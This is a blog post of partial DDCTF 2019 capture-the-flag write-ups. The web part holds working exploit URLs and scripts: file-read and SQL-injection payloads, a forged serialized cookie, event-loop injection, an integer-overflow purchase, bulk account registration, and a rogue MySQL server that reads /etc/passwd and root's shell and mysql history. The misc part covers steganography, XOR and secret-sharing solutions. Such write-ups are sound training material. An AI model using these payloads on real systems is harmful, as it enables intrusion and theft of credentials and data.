DDCTF 2019 部分WP

WEB

滴~

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

观察链接可发现jpg的值是文件名转hex再base64编码两次得到,由此得到任意文件读取漏洞

读取index.php

http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

将源码中的base解码得到源码

备注是提示,访问该博客该日期的文章,得到提示 .practice.txt.swp,最后发现flag文件

结合index.php的逻辑

将f1agconfigddctf.php转为hex字符串,base64编码两次,然后

http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

得到f1ag!ddctf.php的源码,典型变量覆盖

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

 

WEB 签到题

抓包发现有个认证的接口,有个username未填值

尝试admin成功并给出了一个地址

访问发现是源代码

nickname处可注入%s带出eancrykey

得到eancrykey就可伪造Cookie,伪造成功即可造成反序列化漏洞

Application类可造成任意文件读取

这里可以双写绕过

这里判断了长度,猜测flag文件路径为../config/flag.txt

最后payload

<?php
Class Application {
var $path = '....//config/flag.txt';
}
$o=new Application();
$session=serialize($o);
echo urlencode($session.md5("EzblrbNS".$session));

 

Upload-IMG

上传的图片会经过二次渲染,插入的多余字符就会被删除,将其渲染过的图片用010editor打开会发现是GD

搜索找到相关方法和脚本

https://wiki.ioin.in/soft/detail/1q

初步尝试多次未成功,后将渲染后的图片下载后再次用该脚本处理,上传,成功绕过

 

homebrew event loop

# -*- encoding: utf-8 -*- 
# written in python 2.7 
__author__ = 'garzon' 

from flask import Flask, session, request, Response 
import urllib 

app = Flask(__name__) 
app.secret_key = '*********************' # censored 
url_prefix = '/d5af31f66177e857' 

def FLAG(): 
    return 'FLAG_is_here_but_i_wont_show_you'  # censored 
     
def trigger_event(event): 
    session['log'].append(event) 
    if len(session['log']) > 5: session['log'] = session['log'][-5:] 
    if type(event) == type([]): 
        request.event_queue += event 
    else: 
        request.event_queue.append(event) 

def get_mid_str(haystack, prefix, postfix=None): 
    haystack = haystack[haystack.find(prefix)+len(prefix):] 
    if postfix is not None: 
        haystack = haystack[:haystack.find(postfix)] 
    return haystack 
     
class RollBackException: pass 

def execute_event_loop(): 
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') 
    resp = None 
    while len(request.event_queue) > 0: 
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" 
        request.event_queue = request.event_queue[1:] 
        if not event.startswith(('action:', 'func:')): continue 
        for c in event: 
            if c not in valid_event_chars: break 
        else: 
            is_action = event[0] == 'a' 
            action = get_mid_str(event, ':', ';') 
            args = get_mid_str(event, action+';').split('#') 
            try: 
                event_handler = eval(action + ('_handler' if is_action else '_function')) 
                ret_val = event_handler(args) 
            except RollBackException: 
                if resp is None: resp = '' 
                resp += 'ERROR! All transactions have been cancelled. <br />' 
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />' 
                session['num_items'] = request.prev_session['num_items'] 
                session['points'] = request.prev_session['points'] 
                break 
            except Exception, e: 
                if resp is None: resp = '' 
                #resp += str(e) # only for debugging 
                continue 
            if ret_val is not None: 
                if resp is None: resp = ret_val 
                else: resp += ret_val 
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404) 
    session.modified = True 
    return resp 
     
@app.route(url_prefix+'/') 
def entry_point(): 
    querystring = urllib.unquote(request.query_string) 
    request.event_queue = [] 
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: 
        querystring = 'action:index;False#False' 
    if 'num_items' not in session: 
        session['num_items'] = 0 
        session['points'] = 3 
        session['log'] = [] 
    request.prev_session = dict(session) 
    trigger_event(querystring) 
    return execute_event_loop() 

# handlers/functions below -------------------------------------- 

def view_handler(args): 
    page = args[0] 
    html = '' 
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) 
    if page == 'index': 
        html += '<a href="./?action:index;True%23False">View source code</a><br />' 
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />' 
        html += '<a href="./?action:view;reset">Reset</a><br />' 
    elif page == 'shop': 
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' 
    elif page == 'reset': 
        del session['num_items'] 
        html += 'Session reset.<br />' 
    html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
    return html 

def index_handler(args): 
    bool_show_source = str(args[0]) 
    bool_download_source = str(args[1]) 
    if bool_show_source == 'True': 
     
        source = open('eventLoop.py', 'r') 
        html = '' 
        if bool_download_source != 'True': 
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' 
            html += '<a href="./?action:view;index">Go back to index.html</a><br />' 
             
        for line in source: 
            if bool_download_source != 'True': 
                html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />') 
            else: 
                html += line 
        source.close() 
         
        if bool_download_source == 'True': 
            headers = {} 
            headers['Content-Type'] = 'text/plain' 
            headers['Content-Disposition'] = 'attachment; filename=serve.py' 
            return Response(html, headers=headers) 
        else: 
            return html 
    else: 
        trigger_event('action:view;index') 
         
def buy_handler(args): 
    num_items = int(args[0]) 
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) 
    session['num_items'] += num_items  
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) 
     
def consume_point_function(args): 
    point_to_consume = int(args[0]) 
    if session['points'] < point_to_consume: raise RollBackException() 
    session['points'] -= point_to_consume 
     
def show_flag_function(args): 
    flag = args[0] 
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. 
    return 'You naughty boy! ;) <br />' 
     
def get_flag_handler(args): 
    if session['num_items'] >= 5: 
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries 
    trigger_event('action:view;index') 
     
if __name__ == '__main__': 
    app.run(debug=False, host='0.0.0.0') 

 

首先发现此处action可控,可注入代码,其后多余部分可用#注释

利用该点可调用脚本内任意带参函数,比如调用show_flag_function

然后看到这里,虽然不会显示flag,但trigger_event中的内容会被记录到log中,log在session中,而flask 是本地session,读取本地session就行

最后思路就是,想办法让自己num_items大于5后调用get_flag_handler

注意到这里买东西和扣钱的处理是分开的,直觉肯定有问题。正常处理是先buy_handler,这时是不理会points直接增加num_items的,然后马上consume_point_function,这时才比较points,points不够的话就回滚session。如果这样就必须想办法先调用buy_handler,然后调用get_flag_handler,将consume_point_function排到后面才行

最后利用到trigger_event函数注入event构造出自己想要调用的顺序

最终paylaod

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

或者这样,只要不超过日志容量且num_items大于等于5就行

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;

用p神脚本解密本地session

 

欢迎报名DDCTF

一开始报名处存在XSS

用xss平台读取到源码后发现一个接口

 

测出是宽字节注入后就常规操作查数据库,查表名,列名,最后得到flag。(一开始有看到gbk编码想到是宽字节,但随手测试一条payload发现不报错就没测了,后悔!,后面实在没辙了就继续测试才发现)

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23

 

大吉大利,今晚吃鸡

一开始伪造价格,发现后端按范围是分别以32位和64位处理,因为64位最大整数+1报错,32位最大整数+1报错,然而其中间的某范围数不报错。经过测试发现提交32位最大整数*2+2到100的数就可买票,比如4294967296

然后写脚本注册小号,主号提交。两个脚本这样其实比较麻烦而且费时间,但我就是懒-.-,,没有整合两个脚本,最后是第一个脚本跑了足够多的id和Tiket之后,第二个脚本提交

注册小号得到id和ticket

import requests
import re
import time

requests=requests.session()

def register(username):
    url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username)
    res=requests.get(url)
    return res.text

def buy():
    url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
    res=requests.get(url)
    bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1)

    url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id)
    res=requests.get(url)
    return res.text

def xx(username):
    register(username)
    return buy()

f=open('acc10.txt','w')
for i in range(0,600):
    res=xx("l3yx_101_00"+str(i))
    time.sleep(3)
    print res
    f.writelines(res)
    f.flush()

主号提交

import requests
import re
import time

requests=requests.session()

def login(name,password):
    url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password)
    res=requests.get(url)
    return res.text

def submit(id,ticket):
    url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket)
    res=requests.get(url)
    return res.text

login('lei','123456789')
f=open('acc8.txt','r')
for i in f.readlines():
    id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1)
    ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2)
    time.sleep(2)
    print submit(id_,ticket_)

 

mysql弱口令

网站功能是扫描服务器上mysql的弱口令,应该是会用弱口令来连接我的mysql服务端,想到之前见过伪造mysql服务端来攻击客户端的骚操作

https://lightless.me/archives/read-mysql-client-file.html

1.服务器启动mysql伪造脚本,由于我本机装有mysql,所以该伪造脚本端口设置在3307(网上公开脚本,非原创)

2.服务器启动agent.py

3.在网页填写ip和端口进行扫描

此时伪造服务端的脚本已成功读取/etc/passwd

继续读/root/.bash_history发现入口文件/home/dc2-user/ctf_web_2/app/main/views.py

从入口文件/home/dc2-user/ctf_web_2/app/main/views.py得到提示flag在数据库

尝试读取数据库文件/var/lib/mysql/security/flag.ibd无果,貌似是空的???

最后读取/root/.mysql_history发现flag

 

 

MISC

北京地铁

根据Color Threshold提示测试LSB隐写,找到一串密文

 

观察图片,发现有两个位置颜色不同

 

尝试用魏公村地名为密钥解密成功

 

MulTzor

github找到分析xor的工具

https://github.com/hellman/xortool

猜测是空格最多,所以-c后面是20。脚本得出key最大可能性长度是6,并给出了可能的key

但发现有部分乱码,而且是每6个字符,第一个字符错误,很容易知道是脚本得出的key长度没有问题,但第一个字符错了

观察下面有DCTF{,显而易见前面那个乱码是D,所以用这个位置的密文异或上D就能得到key第一位

异或得到key第一位

 

所以最后key是\x323\xffSY\x8b

 

WireShark

在HTTP包中找到3张图片,分别导出字节流

 

前两张相似但文件大小不同,第二张体积比较大

 

最后一个HTTP包还发现一个图片加密隐藏信息的网站

需要密码和加密后的图片

猜测第二张图片是第一张加密过后的,第三张钥匙形状的藏有密码

最后发现钥匙图片是高度隐写,修改高度后

 

解密

 

16进制到文本字符串

 

 

联盟决策大会

参考以下文章

https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

https://blog.mythsman.com/2015/10/07/2/

根据题意猜测,组织1内部需要算出一段数据zh1,组织2内部算出zh2,然后zh1和zh2一起算出z,最后z和p算出最终秘密,需要注意的是就是顺序需要多次测试,而且脚本内的_PRIME需要设置为p

最终脚本

from __future__ import division
from __future__ import print_function
import random
import functools

_PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
_RINT = functools.partial(random.SystemRandom().randint, 0)

def _eval_at(poly, x, prime):
    accum = 0
    for coeff in reversed(poly):
        accum *= x
        accum += coeff
        accum %= prime
    return accum

def make_random_shares(minimum, shares, prime=_PRIME):
    if minimum > shares:
        raise ValueError("pool secret would be irrecoverable")
    poly = [_RINT(prime) for i in range(minimum)]
    points = [(i, _eval_at(poly, i, prime))
              for i in range(1, shares + 1)]
    return poly[0], points

def _extended_gcd(a, b):
    x = 0
    last_x = 1
    y = 1
    last_y = 0
    while b != 0:
        quot = a // b
        a, b = b, a%b
        x, last_x = last_x - quot * x, x
        y, last_y = last_y - quot * y, y
    return last_x, last_y

def _divmod(num, den, p):
    inv, _ = _extended_gcd(den, p)
    return num * inv

def _lagrange_interpolate(x, x_s, y_s, p):
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p

def recover_secret(shares, prime=_PRIME):
    if len(shares) < 2:
        raise ValueError("need at least two shares")
    x_s, y_s = zip(*shares)
    return _lagrange_interpolate(0, x_s, y_s, prime)


p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7

z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5



z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] )
z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] )
z=recover_secret( [ (1,z1) , (2,z2) ] )
print( recover_secret( [ (1,p) , (0,z) ] ) )

posted @ 2019-04-19 12:27  淚笑  阅读(2873)  评论(0编辑  收藏  举报